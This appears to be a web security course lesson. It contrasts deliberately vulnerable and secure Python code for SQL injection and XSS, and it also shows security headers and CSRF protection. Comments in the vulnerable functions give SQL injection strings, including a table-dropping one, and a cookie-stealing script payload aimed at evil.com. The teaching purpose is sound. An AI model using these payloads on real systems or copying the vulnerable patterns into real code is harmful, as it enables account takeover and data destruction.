Skip to main content

Lesson 11 of 11

Practice & Quiz - Web Application Security

Test your web security knowledge: SQL injection, XSS, CSRF, security headers, and OWASP Top 10 with a practical Python vulnerable-vs-secure code exercise and 5 quiz questions.

10 minBy Priygop Editorial TeamUpdated 2026Peer Reviewed & Verified

Practical Exercise - SQL Injection & XSS: Vulnerable vs Secure

Practical Exercise - SQL Injection & XSS: Vulnerable vs Secure
# ─── SQL Injection: Vulnerable vs Secure ─────────────────────
import sqlite3, html, re
from flask import Flask, request, jsonify, session
from functools import wraps
import secrets, hashlib

# ❌ VULNERABLE: string concatenation = SQL injection
def get_user_VULNERABLE(username: str):
    conn = sqlite3.connect('users.db')
    # Attacker input: "' OR '1'='1" → returns ALL users
    # Admin bypass: "admin'--" → comments out password check
    # Data destruction: "'; DROP TABLE users;--"
    query = f"SELECT * FROM users WHERE username = '{username}'"
    print(f"Query: {query}")  # Example attack: SELECT * FROM users WHERE username = '' OR '1'='1'
    return conn.execute(query).fetchall()

# ✅ SECURE: parameterized queries (prepared statements)
def get_user_SECURE(username: str):
    conn = sqlite3.connect('users.db')
    # Database driver handles escaping - username is NEVER interpreted as SQL
    query = "SELECT id, username, email FROM users WHERE username = ?"
    cursor = conn.execute(query, (username,))  # tuple of parameters
    return cursor.fetchone()

# ─── XSS: Reflected & Stored ─────────────────────────────────
# ❌ VULNERABLE: directly injecting user input into HTML
def render_search_VULNERABLE(search_term: str) -> str:
    # Attack payload: <script>document.location='http://evil.com/?c='+document.cookie</script>
    return f"<html><body><h1>Results for: {search_term}</h1></body></html>"

# ✅ SECURE: HTML entity encoding
def render_search_SECURE(search_term: str) -> str:
    safe_term = html.escape(search_term)  # < → &lt;  > → &gt;  " → &quot;
    return f"<html><body><h1>Results for: {safe_term}</h1></body></html>"

# ─── Security Headers ─────────────────────────────────────────
app = Flask(__name__)
app.secret_key = secrets.token_hex(32)

@app.after_request
def add_security_headers(response):
    """Add OWASP-recommended security headers to every response."""
    # Content Security Policy: whitelist where scripts/styles/images can load from
    response.headers['Content-Security-Policy'] = (
        "default-src 'self'; "
        "script-src 'self' 'nonce-{nonce}' https://cdn.jsdelivr.net; "
        "style-src 'self' https://fonts.googleapis.com; "
        "img-src 'self' data: https:; "
        "object-src 'none'; "
        "base-uri 'self'; "
        "form-action 'self';"
    )
    response.headers['X-Frame-Options'] = 'DENY'              # prevent clickjacking
    response.headers['X-Content-Type-Options'] = 'nosniff'    # prevent MIME sniffing
    response.headers['Referrer-Policy'] = 'strict-origin-when-cross-origin'
    response.headers['Permissions-Policy'] = 'camera=(), microphone=(), geolocation=()'
    response.headers['Strict-Transport-Security'] = 'max-age=31536000; includeSubDomains; preload'
    return response

# ─── CSRF Protection ──────────────────────────────────────────
def generate_csrf_token() -> str:
    token = secrets.token_hex(32)
    session['csrf_token'] = token
    return token

def csrf_protect(f):
    @wraps(f)
    def decorated(*args, **kwargs):
        if request.method in ['POST', 'PUT', 'DELETE', 'PATCH']:
            token = request.form.get('csrf_token') or request.headers.get('X-CSRF-Token')
            expected = session.get('csrf_token')
            if not token or not secrets.compare_digest(token, expected or ''):
                return jsonify({'error': 'CSRF token invalid'}), 403
        return f(*args, **kwargs)
    return decorated

# ─── Secure input validation ──────────────────────────────────
def validate_email(email: str) -> bool:
    """Basic email validation. Use a library like email-validator for production."""
    pattern = r'^[a-zA-Z0-9._%+\-]+@[a-zA-Z0-9.\-]+\.[a-zA-Z]{2,}$'
    return bool(re.match(pattern, email)) and len(email) <= 254

def validate_username(username: str) -> bool:
    """Allow only alphanumeric + underscore, 3-30 chars."""
    return bool(re.match(r'^[a-zA-Z0-9_]{3,30}$', username))

print("Secure: " + str(validate_username("alice_bob")))   # True
print("Secure: " + str(validate_username("'; DROP TABLE--")))  # False

Module Quiz

Module Quiz
Question 1 of 5

What is SQL injection and why do parameterized queries completely prevent it?

Tip

Tip

Practice Practice Quiz Web Application Security in small, isolated examples before integrating into larger projects. Breaking concepts into small experiments builds genuine understanding faster than reading alone.

Diagram
Loading diagram…

The foundational security model: Confidentiality (privacy), Integrity (trust), and Availability (uptime).

Practice Task

Note

Practice Task - (1) Write a working example of Practice Quiz Web Application Security from scratch without looking at notes. (2) Modify it to handle an edge case (empty input, null value, or error state). (3) Share your solution in the Priygop community for feedback.

Common Mistake

Warning

A common mistake with Practice Quiz Web Application Security is skipping edge case testing - empty inputs, null values, and unexpected data types. Always validate boundary conditions to write robust, production-ready cybersecurity code.

Hands-on Practice Tools for this Course

Test what you learn using these free in-browser developer utilities (no signup required).

All 40+ Tools

Topics in This Module

0/11 done